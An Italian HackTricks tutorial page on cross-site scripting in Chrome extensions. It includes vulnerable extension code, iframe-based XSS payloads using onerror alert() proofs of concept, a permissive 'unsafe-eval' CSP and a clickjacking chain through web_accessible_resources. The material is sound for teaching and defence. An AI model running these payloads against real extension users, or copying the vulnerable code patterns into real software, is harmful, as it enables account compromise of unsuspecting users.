BrowExt - Esempio di XSS
Reading time: 4 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Cross-Site Scripting (XSS) tramite Iframe
In questa configurazione, viene implementato un content script per istanziare un Iframe, incorporando un URL con parametri di query come sorgente dell'Iframe:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
Una pagina HTML accessibile pubblicamente, message.html
, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri nell'URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro content
della sorgente dell'Iframe per introdurre un XSS payload. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
Una Content Security Policy eccessivamente permissiva come:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS.
Un approccio alternativo per provocare l'XSS prevede la creazione di un elemento Iframe e l'impostazione della sua sorgente per includere lo script dannoso come parametro content
:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOM-based XSS + ClickJacking
Questo esempio è stato preso dal post originale.
Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata su DOM situata in /html/bookmarks.html
. Il JavaScript problematico, parte di bookmarks.js
, è dettagliato di seguito:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
Questo frammento recupera il valore dal campo di input txtName
e utilizza la concatenazione di stringhe per generare HTML, che viene poi aggiunto al DOM utilizzando la funzione .append()
di jQuery.
Tipicamente, la Content Security Policy (CSP) dell'estensione Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa della relaxation della CSP con ‘unsafe-eval’ e dell'uso dei metodi di manipolazione del DOM di jQuery (che impiegano globalEval()
per passare script a eval()
al momento dell'inserimento nel DOM), lo sfruttamento è ancora possibile.
Sebbene questa vulnerabilità sia significativa, il suo sfruttamento è solitamente condizionato all'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante “Aggiungi”.
Per migliorare questa vulnerabilità, viene sfruttata una seconda vulnerabilità di clickjacking. Il manifesto dell'estensione Chrome mostra una politica web_accessible_resources
estesa:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
In particolare, la pagina /html/bookmarks.html
è soggetta a framing, quindi vulnerabile a clickjacking. Questa vulnerabilità viene sfruttata per incapsulare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante.
Riferimenti
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.